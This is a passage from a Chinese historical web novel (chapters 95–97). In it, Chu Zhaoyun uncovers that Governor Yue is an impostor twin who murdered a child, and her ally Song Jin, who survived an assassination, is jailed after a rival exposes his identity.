杀手举刀,他在借机用木簪扎向自己的关元穴,关元穴可致人昏迷陷入假死,大抵就能够蒙混过关。 不过这个方法也是极为冒险。 能不能活,也不好说。 只是那时他们尚处在危机之中,宋谨也没办法细说清楚。 怪不得仵作师父赶过来时,第一眼就去查看宋谨那处穴位,而后就松了口气,说了句“还好有救”。 后来穆青告诉褚朝云,他们验尸的都知道关元穴有奇效,原本这只被师父当成一个知识点给大家科普,没成想宋谨还真给用上了。 宋谨被大家救回去的时候杀手们已经走远,他们倒是没怀疑自己杀错了人,毕竟褚朝云身形高挑,又以帷帽遮面。 杀手们只当宋谨是故意伪装成女性的。 回去复命时,岳常还在金池旁喂鱼,一身青衣的男子转过身看向头领,似是惊讶道:“宋谨?” 岳知府默念几次这个名字,丢了鱼食,坐到旁的竹椅上:“好耳熟的名字……” 杀手头领:“大人,他是仵作其中的一个徒弟。” 岳常指尖还沾染了点鱼食,掸开,恍悟道:“原来是他。” 那日蔡老大撞井案,宋谨是现场识破凶徒手段的一个抬尸工,似乎这孩子还很受仵作的喜爱,仵作可是亲自给自己推荐了他。 这么聪明的人……死了也好。 岳常全身放松下来。 不远处,跟来的随从过来请示:“老爷,行车的马匹好像生了病,再加上它岁数也不小了,您看是不是杀了,再换一批强壮些的过来?” 一听要杀马,岳常忙摆手道:“它兢兢业业的劳动,杀了作甚?换匹强壮的可以,这匹马……就给它找个医者好好看看,让它安度晚年吧。” 随从感念知府大人心善,领命而去- 傍晚时,宋谨醒过一回,只是还没什么力气说话。 宋谨从跑出去到被杀昏死,手中一直紧紧攥着那根木簪,白日大夫给他治伤时还试图取下,只是对方本能的不愿松手,掌心的皮肉都被压出一层深深地褶痕。 直到他醒来,褚朝云才哄着他取下木簪,但是没插回发中,而是放在了他的枕边。 宋谨意识还不够清醒,唇干裂的厉害。 褚朝云想给他喂水也喂不进去,索性自己喝了一口,俯下身慢慢的往对方口中送。 宋谨在迷蒙中喝到些水,嗓子不那么干了,便重复的念着:“朝云,快跑……”直到意识彻底消散,人就又昏迷了过去。 褚朝云听到他软弱无力的话,双手捂住嘴巴,不让自己哭出声来,可是眼泪还是顺着指缝一点点流下,“滴答”,便落到了宋谨的手心里。 褚朝云不是个喜欢煽情的性格,想到岳常出手这般狠辣,女子怒火中烧。 这仇,她算是记下了! 外出一整日不归恐让家中人担心,所以她必须要回去一趟,而且除了这一点,她也有事要回去交代一下。 见此,朱力和曾茹也过来劝她:“你好好回去歇息,这边有我们这把子兄弟在呢。” “是啊褚妹妹,也别太熬着了,不然小宋醒来,会更担忧的。” 褚朝云道了声感谢,出来前还留意了外面的动静,两处院子相隔不远,她现在还不预备让家人知道宋谨他们就住在旁边。 而且除了褚文词,也没谁见到过宋谨。 褚朝云回来时一心要去见褚文词,却在院中被刘玉花给拦住了,“站住!褚朝云,一整天不见踪影你去哪里野了?” 刘玉花绕着她前前后后走了两圈,哼笑出几声。 褚朝云正头疼,也没空跟她演什么戏,“离我远点,我今天心情很不好。” “哈哈!” 刘玉花晃了两下脑袋瓜子,几根簪子在夜色下闪着亮光,妇人撇撇嘴,故意凑上来道:“你个没教养的狗东西,敢这么跟我说话,你信不信我——啊!” 话没完,她眼珠子瞪得牛一样,惊恐的看向了褚朝云。 不多时,感觉到吸不进空气的刘玉花额角青筋直冒,喉咙被挤压的想咳咳不出来,双手张牙舞爪,拼命吼道:“你……你……你不是褚朝云……你到底是……” 褚朝云本就崩溃,刘玉花又喋喋不休一再挑衅。 她也不知怎么,就伸手掐住了刘玉花的脖子。 直到把人掐的眼珠子直冒,听到对方挣扎时说的那句“她不是褚朝云”,褚朝云才猛地松开了手,转过身,一言不发走掉了。 刘玉花一被松开就跌坐在地,大口大口吸着新鲜空气。 从前的褚朝云懦弱,胆小,连跟她大声说话都不太敢,如今只一年没见,这小贱人竟然敢掐她了?!! 刘玉花脑子蒙蒙的,在地上缓了好久才重新站起了身。 旁屋的刁氏看到这些,哀叹一声,便去了褚朝云那儿找她。 “朝云,你没事吧?” 褚朝云正坐在床榻处发怔,一整日担惊受怕的,满眼的血丝,刁氏越看越心疼,主动坐到她身边,拉过她的手,“有什么话不妨跟婶子说一说,我老婆子虽然没什么用,但你讲出来总会好受些。” 褚朝云下意识攥住她的手,“不,婶子怎么会没用。” 她确实很想找个人吐吐苦水,于是便把这一日的惊心动魄讲了出来,刁氏一听,也是震惊不已,“小宋可还好?这两日我寻个机会过去看看他。” 刁氏也知出门要避着些,至少不能打草惊蛇。 二人沉默半晌,刁氏便凑到她耳边说:“朝云,你那个三婶不是个省油的灯,今个白日里明着暗着来套我话,一直在打听你的事,还有惜兰和小郁的去向,你还是要小心些。” 褚朝云胡乱抹干净眼泪,正色道:“我回来就是为了这件事。” 她让刁氏先回房间去休息,径自去了褚文词那。 她看得出,褚文词性情耿直且黑白分明,大概也是看不上三叔三婶已久,还是很值得她信任的。 “什么?你要我盯着三叔和三婶?” 褚文词听得一头雾水,不过还是镇定的问:“三妹妹,虽然我不知你到底有什么苦衷,但二哥哥相信你,二哥哥会好好帮你看着他们,只是你要告诉我……我姐和小郁他们,还好吗?” “好。” 褚朝云飞快应道。 褚文词总算放心下来,“他们没事就好!你都不知道,白日你不在时,刘玉花跑去我爹娘和二叔二婶那闹,还造谣说我姐和小郁已经死了,她说这话是你告诉她的。” “他们信了吗?” “当然没信,不过我阿娘还是险些被气的犯病。” 褚文词学话学的咬牙切齿,显然也是气得不轻。 “二哥哥,你帮我看好三叔三婶,他们若是要出去逛街,你也跟着。如果他们想要离开蕤洲——” “那二哥哥就帮你把他们绑起来!” 褚文词拍拍胸脯道。 褚朝云轻笑一声,心情倒是被刁氏和褚文词安抚不少- 隔了一日,见宋谨稍微好了些,褚朝云便去刘新才那问了问最近的生意,看到白淼淼还帮她守着针织小铺,女子顿感欣慰。 而那条船的货物运送如今也都落在了穆青身上,一切都在正常运转着,有了坚实有力的后盾,她的信心也增加了不少。 夜里,她和穆青一起去了趟花船看大家。 其实抽空过来,除了想知道大家是否一切安好,还有另外一件重中之重的事,她想要大家的家庭住址和名单。 所谓名单,就是那些暗中使坏将船娘们拐骗到这里的人。 譬如徐香荷的继母,方如梅家附近药材铺的老板。 要到这些之后,她将名单暂时存放在宋谨房中,趁着夜,就去了钟纯心的府上。 老管家一直在府门口守候,看到她过来,便笑着请她进去,“褚姑娘,夫人她等你很久了。” 褚朝云熟稔地过了一重院,到了二重院中,钟纯心又梳回了女子妆发,可她明显没这么好的兴致欣赏钟管事的美。 她大步而来,和钟纯心一同站到桂花树下,开门见山道:“岳清泽,他在哪。” 岳常之所以要追杀她,就是因为她听到那旧友喊了岳常一句“清非”。 陆欣冉的丫鬟蒲兰曾说过,岳常小字唤作“清泽”。 所以,岳常根本就不是真正的岳清泽。 第95章 一更 “终于查到这一层了?” 钟纯心把玩着手中匕首,那匕首柄部镶着颗华美的宝石,看起来并不似大祁之物。 她抬头看了眼褚朝云,答非所问,似是很喜欢这把匕首似的:“知道这东西的来处吗?” “不知。” 褚朝云道。 “它是我阿爹送我的生辰礼物,我阿爹曾救过一伙西域来的商队,风波平息后,那领队便已此匕首相赠。” 她说着靠在桂花树下,盯着匕首神色懒倦:“后来阿爹把它转赠给了我,因着想要抢商队的是一批坏事做尽的盗匪,阿爹便说,以后出门就要我时时带着这把匕首,若是遇上奸佞,就见一个,杀一个。” 褚朝云盯着那精致的匕首,顺着问:“那后来呢?你为何不继续跟着你爹娘行侠仗义?” 话毕,钟纯心神情落寞。 “是啊……我该跟着他们的。” 女子幽幽叹息,面庞很快被濡湿。 这是褚朝云第一次见钟纯心落泪。 一滴一滴,缓缓滴在那颗闪闪发光的红色宝石上,水光将菱形的切面晕染,很快,就起了一层朦胧的月华。 “可是,我遇到了他。” 钟纯心露出一抹怪异,无神的双眸都多了几许华彩。 “他翩翩青衣,俊美无俦,看着,可比匕首上的宝石耀眼多了。” “他叫岳逐,是个性情放荡不羁的俏公子。岳逐说他不喜被困家中,也讨厌那些老学儒身上的酸腐之气。” “他说他只想做个游历在山水间的自由之人,看遍河山,览遍京华,只愿做个……不入凡尘的清非公子。” 清非,是岳逐的小字。 这听上去大概是一场美妙的邂逅,天真泼辣的小侠女在闯荡江湖途中遇上了如谪仙一般的公子,由于被那公子不俗的气质所吸引,于是决定离开爹娘,跟随公子携手同游。 但褚朝云丝毫没被烂俗的故事情节所感动。 她只是抬头看着钟纯心,声音近乎犀利道:“看遍山河?览遍京华?不入凡尘?” “钟纯心,他到底是不入凡尘还是助纣为虐……你当真,分不清楚吗?” 纵使这位假知府能撑起蕤洲这片天,可花船背后如此大的利益绝非是他一人能吃得下的,或许上面还有其他的人,更或许……那人权利非凡,抬抬手,便能遮住大祁的半边天幕。 她不吐不快,因为自己很清楚自己并不是什么恋爱脑。 但钟纯心显然接受不了。 看到钟纯心神情越发悲痛,褚朝云无奈地按了下额头,再开口时,声音也软和几分:“那陆欣冉呢,她知道么?” 很明显,陆欣冉喜欢的是真正的岳常,而非这个冒牌货。 但自己的丈夫是假的,陆欣冉不至于分辨不出来吧? 她猜想还有隐情。 钟纯心似乎站的累了。 女子无知无觉地离开桂花树,慢慢坐到了石桌边—— “纯心,我弟弟和陆姑娘两情相悦,如今我成了他,所以……我必须要跟陆欣冉成亲,而陆欣冉……也只能是唯一的知府夫人。” 被爱人亲口告知要娶别的女人,钟纯心只觉得自己的天都要塌了。 所以,这就是她不顾一切奔赴的爱情么? 当年遇上岳逐一见倾心,告知爹娘说要跟他走时,爹娘也曾极力反对过。那时岳逐指天发誓说会对她好一辈子,还亲手买来女儿红叫她埋下,说想在大婚之日与她同饮,会尊重她家乡的习俗。 岳逐告诉她,哪怕没有她阿爹阿娘的祝福,他也会让她幸福快乐的过一辈子。 昔日情郎转眼变脸,她不是没有想过要离开。 只是当她幡然醒悟的那刻,她已经无法逃离蕤洲这个毁掉她半生的地方了。 钟纯心以自心相比陆欣冉,她知晓陆欣冉深爱岳常,所以哪怕岳常和岳逐是双胞兄弟,陆欣冉也绝不会认错自己的爱人。 果不其然,大婚之夜陆欣冉就发现了端倪。 而自己收拾好包袱要离开时,岳府便匆匆来人将她请了过去。 陆欣冉识破岳逐的身份在房中大闹,口口声声要去报官揭露岳逐,她赶过来时,岳逐正捏着陆欣冉的嘴巴往里灌药。 看到岳逐露出那般穷凶极恶的样子,她再无法忍受,举剑挥向背信弃义之辈,可却还是在关键时刻避开了要害,只是阻止了他继续毒害陆欣冉。 “你疯了岳清非,她可是你弟弟的心爱之人。” 毒药只被陆欣冉喝下一半,虽没要了性命,但也伤到了脑子。陆欣冉忘了大婚之夜发生的事,她的记忆开始在清醒和梦境间游荡。 每每醒着时,她便认定是钟纯心抢了他的爱人,于是屡屡上门发泄怒火。 若是处在梦中,又会沉溺幻想,一直不停念叨着“清泽”的名字。 陆夫人情绪不稳定众所周知,这也刚好给了岳逐提出跟她分房睡的机会,陆欣冉本该是他的弟媳,他不可能真的和对方圆房,但这事是个巨大的秘密,岳逐不能坦诚相告。 后来他发现陆欣冉每到生辰那月,病情发作会异常猛烈,所以就决定每年带着陆欣冉去长业寺小住一月,一是方便他为蕤洲百姓的安康祈福,二也是想安抚住陆欣冉。 岳逐和陆欣冉大婚之后,钟纯心依旧没放弃想要离开的念头。 可不慎天灾降临,灾祸接连数日,她出府的那一路上尸横遍野,钟纯心每走一步,心痛的都像是踩在刀尖上。 她是侠女,从小的志愿就是要像她阿爹阿娘一样做对百姓有利的善举,如果此刻就这样走了,她是不是就枉为侠女了? 那时她也才十六七岁,不似岳逐已是二十出头的男子了,没有阿娘在身边,她不知怎样做才是对的。 可她无颜面对爹娘,便也没打算写信告知他们。 最后,就这么犹豫犹豫着,日子一晃便过了十五年。 她知晓自己做了许多的错事,也没准备把这些恶行,全部推到“是为了帮助岳逐”才不得不为之的借口上。 可看着蕤洲一点点变好,她又时常陷入两难。 有时,她也会昧着良心安慰自己,或许岳逐真是对的? 可就在信念逐渐被建立起来之时,岳逐的一个举动却犹如一盆冷水,直接浇醒了她。 岳逐从不会到花船上去,但那日不同。 圣上见他治理蕤洲有功,终于肯拨款下来救助百姓,于是他便冒险上了船。 虽说当时李婆子已经提前把姑娘们送回院子,而暗仓口也有人把手,可他们还是疏忽了码头的防守。 西码头那里不知何时跑上来一名女娃,小女娃看着傻呆呆地,摇摇晃晃跑过艞板,攀着船身,就爬上了船。 岳逐方从楼上下来,女娃迎面而来,小短腿跑得飞快,看到他就举着不知哪里得来的小花朝他咿咿呀呀地说话。 “花花……送给你……” 女娃晃动手腕时,清脆的铃铛声与烟花炮竹声混在了一起。 岳逐愣过半晌,伸手接住那支梅花。 然后,就果决的拉着女娃的手去了船头,“小姑娘,这下面还有很多的花,你可喜欢?” 女娃瞧着水中光影粼粼,满河面花灯飘摇,每一只灯火都载着一位百姓对蕤洲,对岳大人,对大祁的真挚祝福。 女娃很少看到这样的盛景,顿时就看得呆住了。 岳逐在身后看着她,面色微暗,一只手轻轻按在了女娃的后背上。 “抱歉,你不该上到这条船的。” 说着,便将女娃推下河去。 而闻声赶来的钟纯心也只来得及抓了下女娃手腕,小巧的铃铛落入她掌中,钟纯心只听耳边“噗通”一声,小小的身影扎到那片花海里,转瞬,就沉了下去。 钟纯心救人上来的时候,女娃已经死透了。 那小娃本就体虚,受不得冬日水冷,而被推下去时头又不幸磕到船身,大片血涌了出来,只在船壁留下了一片散开的血迹。 就和她手中抓着的梅花一模一样。 …… 钟纯心恍惚片刻才知自己是睡着了,有桂花落在她的身上,她才猛然惊醒过来。 梦醒,树下只剩她一人,褚朝云不知何时已经走了。 她只记得对方离开前,褚朝云问过她真正的岳常到底在哪儿,褚朝云活要见人死要见尸,但她也不晓得岳常的尸骨到底被藏在了何处。 岳逐虽请求她留下来帮助自己,帮助蕤洲的百姓,但其实也有很多事情在瞒着她。 毕竟报官是要讲证据的。 她试图找寻过那些证据,甚至费尽心思的想知道岳常到底被埋在何处,可她忙碌一场却是徒劳,什么都找不到,也什么都得不到。 自从亲眼看到岳逐杀了囡囡那刻,她便知道是自己错了。 大错特错。 所以从那时起,她便开始在暗中寻找,她想要找到一个能帮她结束这一切的人来。起初她诱刁氏上船,因为刁氏爱女如命,若她告知囡囡身死的真相,或许刁氏会愿意合作。 可刁氏终归年岁大了,观察许久,她还是选择放弃,令寻他人。 其实单从“褚朝云用自伤逼得李婆子送她过来”这一点,褚朝云这个姑娘,也并非令她多么惊喜。 或许是女人的直觉吧。 她同褚朝云接触之后,忽然开始升起了希望。 她越发察觉这姑娘不似寻常,无论做事说话,甚至脑袋里的某些想法,都会让她产生一种褚朝云非大祁人的错觉来。 她不是没派人调查过她,农户出身,在来到蕤洲之前,几乎都没有离开过土生土长的那片村落。 可她对褚朝云还是好奇的。 所以……试一试她,应该也无妨吧- 褚朝云离开钟府并没回家,而是去看了宋谨。 宋谨这两日已经好了许多。 她进门时,男子正靠坐在床榻上喝药,那草药苦味浓郁,熏的满屋子都是。 这几日仵作已经上报岳逐爱徒已死之事,而对方也没有太过起疑,人是他的杀手所杀,岳逐还是很相信杀手们的能力。 再加上尸体的事一向是仵作来处理,所以阮老头便跟岳逐说,已将爱徒下葬了。 为了糊弄住岳逐,阮老头声称一定会亲手抓到杀害徒儿的凶徒,但岳逐心知肚明,此案阮老头根本破不了。 这件事被短暂的敷衍过去,只要宋谨不露面,或是不在白日露面,就没谁知道他还活着的事实。 见他身体大好,褚朝云就把知晓的事和他说了说。 宋谨听后,凝思片刻便道:“听她这般言辞,这件事情似乎还有不少的疑点……譬如真正的岳常是因何而死?而岳逐如此谨慎地一个人,又为何要在圣上拨款那一日登上花船?即便是有天大的喜事,也不太能成为他冒险上船的理由。” 褚朝云:“不错。而且,想要给岳逐定罪,彻底破了这花船案,我们就必须要找到证据才行。” 宋谨:“要拿到花船牟利的账本。” 说着,他们就想到了正帮着赵大管账得褚郁和项辰。 褚朝云其实并不愿指望两个孩子,此事凶险,一个不察就会搭上自己的性命。 她沉思着,目光落在实处,随即又忽的抬眸,“还是不对,春叶和蕙娘在雅间的时间也不短了,据他们说,管事的确实不曾叫姑娘们做出格之事,哪怕有客人想对他们动手动脚,也会被赵大的手下们给拦住。” 所以,花船做的,的的确确是正当生意,与勾栏不同。 往大了说,也就是独特一些的饭馆酒楼罢了。 可哪怕他们请了程月掌厨,娱乐的项目也比寻常酒楼更多,那赚得的银钱也不该是如此庞大的数目…… 岳常有本事拿出钱来修桥铺路,救济百姓,还有能力拉来外省州县的富户带动经济,所以才有了东码头那般繁盛之地,才有了如今这般与昔日不同的全新的,富庶的蕤洲。 这么想来,看似普通的花船简直就是一棵岳逐的摇钱树了! 可这明显就不正常。 而且,既不做违反大祁律法的行当,为何不明明白白的招工,非要在各地安插暗桩,将无辜之人骗来这里?? 褚朝云发现她确实无法理解岳逐的脑回路。 “难不成……这花船深处,还有我们看不透的一些勾当?” 宋谨看向她。 而这,也是褚朝云的疑问所在。 第96章 一更 由于宋谨的身体才刚刚恢复,还不能交谈太久,所以褚朝云便叫他早点歇下,自己则回了隔壁院子。 往日里,这个时辰褚家人也已经早早睡下,这是从前在村里生活养成的习惯。 村中娱乐少,而且睡得太晚也费油灯。 不过今日似乎不同往日,褚朝云前脚才推门进院,听到动静的三叔三婶便立刻从屋子里奔了出来,而与此同来的,还有褚家大房二房的人。 刘玉花与褚朝云对视片刻,嗤笑一声,然后就张牙舞爪的嚷嚷开了,“你们都被她骗了,她根本就不是褚朝云!” 这话她其实也没敢提前和大房二房讲,而是借口有事才将他们喊了出来,目的就是为了要打褚朝云一个措手不及。 但这话一出,褚朝云的亲爹娘肯定第一个不应。 曲艳厌烦刘玉花已久,见她一再给自己的闺女泼脏水,一个不忿就跑上来揪刘玉花的头发,“大半夜你说什么疯话?敢诋毁我闺女,你要作死吗!” 褚百明想护媳妇,却被褚朝云的爹褚百千给一脚踹开。 刘玉花“啊啊”两声从曲艳手底下逃开,揉着被抓痛的头皮大声道:“我哪有说疯话,你们家闺女以前是个什么性格你们不知道?再看看她——” 她伸手指向褚朝云,想说的话到嘴边直接换了个词:“以前的褚朝云有、有有她这么成熟稳重吗?” 刘玉花想说“那小贱人从前胆子没有耗子大,我踢她两下也只会偷偷的哭”,可她实在害怕曲艳两口子,只能不甘心的夸了褚朝云一句。 其实这个问题,在大家接触褚朝云的第一天,就已经发现了。 就像刘玉花说的,自家闺女什么脾性怎会不知道。 可眼下褚朝云有很多事都瞒着他们,又整日早出晚归,曲艳就是想好好跟她谈谈心也没有机会。 但曲艳和褚百千也悄悄观察过,女儿手上有刀疤,有冻疮,说不好身上其他地方还有些去不掉的旧伤,丢了孩子的这一年,褚朝云一定吃了很多的苦,他们只顾着心疼,哪会怀疑她。 再加上从前他们都是坐在井底观天,不知外面的世界有多大,陆陆续续走了许多地方之后,就连他们的心境都起了变化,又何况是孩子。 褚朝云不必多解释,看到长辈们的表情便知他们是信任自己的。 她思量了下,大大方方走到刘玉花面前,笑道:“三婶觉得我不是朝云,莫不是把我想成了什么山精鬼怪?” 褚朝云往这种邪门的事情上去提,刘玉花就忍不住打了个哆嗦。 没办法,他们两口子实在做过太多不好的事,心虚得很。 褚朝云趁着旁人不注意,凑近,低语道:“其实,也说不定就是你想的那样呢。” 女子笑意放大,刘玉花的哆嗦打的更厉害了。 褚朝云觉得刘玉花想的也不错,原主的确不在了,她就是假的,但缘分让她取代了原主,那么把她比作是来复仇的恶鬼,好像也还蛮贴切的。 她站回去,抬头看向大房二房长辈,“再过几日,大姐姐和小郁就要回来了,大家耐心等等吧。” 说完,她绕开众人,独自回了房中去。 翌日,褚朝云戴好帷帽去了万春楼,她本想让刘新才去给褚惜兰捎个话,奈何刘老板和柳文匡一早就去了东码头进货,所以二人都不在店里。 不过得知她有事拜托自己,张满春倒是很高兴。 张满春非常乐意给褚朝云跑腿,招呼伙计给褚朝云泡了好茶,人就立马出了门去。 褚朝云得坐在这里等张老板回来,自然也不急着走,刚好最近万春楼请了说书先生过来,醒木一拍,老先生就叭叭叭的讲开了。 老先生口沫横飞说的眉飞色舞,句句都不离蕤洲的好官岳知府。 如今蕤洲的行情已经没谁愿意听痴男怨女的故事,百姓们爱戴岳知府,老先生随便说点什么,大家都会捧场。 反正闲着也是闲着,褚朝云就也听了那么一会儿。 岳知府的故事要从十五年前开始,老先生娓娓道来,将岳知府是如何帮助蕤洲,如何帮助百姓说的仔仔细细,尤其是说到特定的年份时,还会精挑细选几个故事出来单讲。 褚朝云品着茶,目光扫着身前身后的百姓,偶尔问一句,“他说的可是真的?” 她帷帽捂得严实,没谁认得出她,百姓们以为她是外来的,便都热络地回答起来,“是呀是呀,这些都是我经历过的,小姑娘你不是蕤洲人,不知道也很正常。” 听惯了大家伙夸岳逐,她耳朵起了茧子,就随口换了个话题,“那,西码头那条花船呢?” 对方听后先是一愣,随即说道:“那是有钱人家取乐的地方呀。” “哦,我看那生意开的不小,可知老板是何许人也?” 大家伙又是一愣,“那还真不知道。” 话题到此结束,张满春也回来了,张老板对她耳语两句“话已带到”,褚朝云站起身,预备离去。 与此同时,一出一进有人同她擦肩而过,帽帘遮住了她的余光,褚朝云并未注意进来的人是谁,而对方,却在她走后多看了几眼。 “公子?宗公子?你看什么呢?小心脚下。” 身旁小厮低声提醒。 宗匀酌收回视线,进了酒楼。 点了些酒菜他便靠着窗坐了下来,小厮在旁小心伺候,想起今早收到的帖子,便从背包里取出,“公子,这是临出发前青州赵家送来的,您一路奔波疲乏,我之前就没拿出来。” 如今没了宋家,他们宗家就是群龙之首,不过一些小门小户的帖子,他也懒得看,就叫小厮读给他听。 小厮说了声“是”,轻咳一声开始朗读:“问公子安,小弟赵岩叙初来青州,听闻贵府素有青州第二的——” 刚读到这儿,帖子就被宗匀酌一把抢下。 前一秒还面色淡然的宗公子再听到那个刺耳的字眼立刻就变了颜色,他将攥在手中的信帖捏的稀碎,怒目瞪向小厮,“再让我听到这种话从你口中讲出,我就戳瞎你的眼睛!贱奴!” 小厮吓得脸色惨白,腿一软就跪了下去。 宗匀酌一口烈酒饮下,气息半晌都得不到平复。 他和他爹平生最忌讳别人说“第二”这个词,他们受宋家恩惠不假,曾几何时,旁人都戏言他们父子是宋家父子的狗,为了荣华富贵不惜放下脸面去舔人家。 这赤裸裸的羞辱他们怎能忘记! 都是宋家那一对圣父圣子,整日里装作心善的样子,以为自己是普度众生的活菩萨? 活该有那样的下场!! 这些年来,宗富始终不放心,时不时便叫他出去寻一寻宋家的人,尤其是宋谨。 那时他听说宋谨在流放路上跑掉,恨不能快马加鞭赶过去亲手将人杀了。 不过找了这么久,宗匀酌也没能寻得到宋家人的下落。这次过来蕤洲,还是曾阳写信提起,说是府衙里一个仵作的爱徒无故被杀,而死的那人刚好就叫宋谨。 曾阳也很想见到宋谨,但宋公子可是风光霁月的首富之子,怎会沦落到成了什么仵作的徒弟。 后来他又提起去曾茹家做客曾见到过那位宋谨,倒是和他印象里的公子有几分相像,曾阳絮絮叨叨说了一大堆,宗富得知,立刻让他过来确认一下。 不过据说尸首已经下葬。 宗匀酌可不想去挖坟掘墓,那种地方臭死了。 他心中正不痛快,倏地又记起方才碰到的女子,那人……宗匀酌闭眼回忆了半天,忽的坐直身体,睁眼看向还跪在地上的小厮,“竟然是她?” “谁呀?” 小厮生怕在惹怒他,忙殷切问道。 “褚、朝、云!” 宗匀酌磨了磨牙。 褚朝云那个讨厌的女人,他就是死了都不会忘了她! 他对着小厮交代几句,然后叮嘱道:“把家里的打手调过来几个,要轻功好的,千万别给我打草惊蛇!” 就算暂时确认不了宋谨到底死了没有,他也不会放过褚朝云! 小厮办事利落,不过两日,就来了消息。 打手们很快查到了褚朝云的住所,又发觉她总是往隔壁的院子跑,受好奇心的驱使,便趁着夜里众人熟睡之时,跳进去查探了一圈。 宗匀酌家里就挂着宋谨的画像,打手们都认得。 而且他们家公子特别没品,只要心思不顺,就朝着画像吐口水,吐花一张就重画一张继续吐。 所以宋谨的长相,他们几乎都刻在了脑子里。 听过汇报,宗匀酌“腾”的来了精神,“你确定?你确定屋子里睡着的人是宋谨?宋半州他儿子?!” 他着实没想到,这歪打正着的事简直令他惊喜。 小厮总算办妥一件差事,笑呵呵保证:“公子,我真的能确定,而且我还打听到宋谨沦落到蕤洲之后,就一直在府衙里做抬尸工。” “抬尸?哈哈哈哈哈——” 宗匀酌捂着肚子笑的满地打滚,笑过便起身往门外走,“给本公子备车,我们去岳知府那。” …… 褚朝云接连在万春楼听了几日的书,正欲晚间去见见褚惜兰他们,穆青就慌里慌张的跑了进来。 “不、不好了褚姑娘,宋儿他出大事了!” 褚朝云云里雾里,茫然道:“出什么事了?” 宋谨好好的藏在家中,连岳逐那都糊弄过去了,还能出什么事。 见人多口杂,穆青就趴到她耳旁道:“宋儿被闯进家里的衙役给带走了,说是岳知府的命令,抓走也没审问,直接就给下了大牢!” “什么?!!” 褚朝云惊的站起身,手指颤抖着按向桌角,“那——”她重重吸了口气在呼出,感到发麻的全身松弛了些,才强作冷静道:“那抓他的理由是什么?” 别人不知宋谨是怎么“死”的,但岳逐知道。 岳逐总不会疯到去掀自己的底牌吧。 穆青垂下头来,闷闷道:“听说是有人举报了他青州首富之子的身份,还说他是逃犯,虽然那案子已经改判宋家无罪,但岳知府说,他瞒报身份,属实是对官家不敬。” 褚朝云听得发怔,而后发笑,不过是被气笑的,“瞒报身份?” 好啊! 好你个老滑头!! 第97章 一更 宋谨被抓的第二天,宗匀酌就买通了牢头,屁颠屁颠去“探望”了一次。 宗匀酌的执念本就是宋谨,那曾个各方面都优秀到甩他八条大街的宋公子,让他连做梦都不忘嫉妒,宗匀酌平生最大的乐趣就是想看看宋公子的惨样。 只不过,真见到了宋谨的时候,他却并没被如今的局面所爽到。 虽脱下了华丽的衣衫,窝在府衙做着连倒夜香都看不起的抬尸工,宋谨却依旧平心静气地道了一声:“宗公子。” 与生俱来的儒雅无论怎样都是磨灭不掉。 就像烙印一样,反而衬得宗匀酌地底泥般的污秽和龌龊。 不待宗匀酌开口嘲讽,牢门之隔的宋谨便开口道:“宋家出事的这几年我一直在想,当年那名囚犯,到底是如何被‘送’到宋府的,如今看到你,我想我已经懂了。” 宗匀酌张了张口,面对如此波澜不惊的宋谨,他突然就窝囊的说不出话来。 他是想大声嘲笑奚落宋谨的,来之前也给自己打过好几次的气,可这种无形的压迫感,让他虽恨得咬牙切齿却又怎么都咆哮不出来。 又是这样! 总是这样!! 他们是同期,是少时的玩伴,宋谨看着就像那些话本里提到过的小白脸,无用的废物书生,可就是这么一个清隽温敛的人,却让他连多讲一个脏字,都觉得良心难安。 良心……真是笑话,他有良心吗? 就在他憋气憋到脸通红,必须得骂宋谨几句出出气时,宋谨就走近了他。 隔着牢门,宋谨看着他额角的冷汗滑落,“如今我已在这里,你也无须惧怕我会把这个秘密说出去,所以,能否告知我是什么人指使你和你爹陷害我家的吗?” 宗匀酌听得眼皮抖了下。 宋谨垂眸,又抬起:“给蕤洲准备的善款,你爹也带了人过来帮忙装箱,翌日我家便出了事。” “宗公子,”宋谨又走近一步,“京都的重犯不会莫名其妙出现在青州,有人将他送出,有人将他带进青州……所以那个人的目的是什么?我很好奇。” 为财吗? 这一点宋谨也想过,但他还是想亲口听宗匀酌说。 “你问个屁,我怎么知道他要干嘛!!” 宗匀酌吼完便惊吓的跌坐在地,想到自己无形中说漏了嘴,就又一个翻身站起来,重重地喘了几口。 倏地,喘匀气息的他目光变得阴冷,随即看向宋谨,而后哈哈大笑:“宋谨,我今日过来不是要跟你讨论这个的,你不是再找爹娘吗?要不你求我吧?你求我我就告诉你他们的下落,我知道他们在哪儿。”- “除了这些,他们还说了什么?” 庭院里,褚朝云看着穆青问。 穆青挠挠头,“那狗东西叫宋儿求他,不过宋儿没说话,之后的事情老周也没听到,宗匀酌是小声讲的。” 说完,见褚朝云低着头没言语,穆青一脸菜色,“抱歉啊褚姑娘,你给我五十两,我就打听出了这么点消息,我可真是没用……” “不……这已经很好了。” 那些衙役和他们抬尸体的一向不和,穆青能说通牢头老周帮忙盯着动静,本就不易。 不过岳逐这么做,其中缘由褚朝云也明白,无非就是不想宋谨出去乱讲他的秘密,反正大牢里的犯人那么多,塞他一个进去也不是难事。 而岳逐并不知她和宋谨的关系,摆明仗着宋谨没有家人出头,想要把人关死在牢里一辈子。 所以岳逐不会杀宋谨,宋谨此刻还算是安全的。 褚朝云又给了穆青五十两,叫他留着备用,盯好牢里的情况,就趁黑划着小船去了花船那儿。 有钟纯心这位管事协助,褚朝云便不用怕那些婆子多嘴,她从船板另一侧上去,戴了帷帽,以客人的身份掩人耳目,直接去了褚惜兰那儿。 褚惜兰今个不会被安排其他客人,只为等她。 “三妹妹!” 褚惜兰一身兰花的华服,迎她进门时裙摆飞扬,明明是处在没有风的屋子里,可见心中多么焦急,“阿爹阿娘他们都还好吗?” 张满春捎信过来时提了一嘴这事,褚惜兰惊喜之余几个晚上都没睡好觉。 “都好,你放心。” 褚朝云也是火烧眉毛,但又不想褚惜兰太过担心,就没去提宋谨的事。 二人长话短说,褚惜兰也是个能分得清轻重之人,便将知晓的消息一一相告,但这话必须要当面来讲,拜托他人来说,她不太放心。 褚朝云那日叫她和春叶几位姑娘留心客人的言行,因为照着自己和宋谨的猜想,花船真正的营生或许并非大家伙表面看到的那般。 这件事的关键一定是在客人身上,所以也只有褚惜兰他们才能做到。 最开始,褚朝云也去求证过钟纯心。 但这么隐秘的事,钟纯心确实不知。 钟纯心告诉她,这条花船名义上是由“钟管事”在监督管理,实则自己才是被监督的那个。 岳逐并不放心她,生怕她心软坏事,这才从牢里选了两名重犯出来协助。 李婆子从前是在蕤洲开勾栏院的,因失手打死过姑娘被抓,岳逐看上她调教姑娘的本领,就算不做皮肉生意,姑娘也得能讨客人的喜欢。 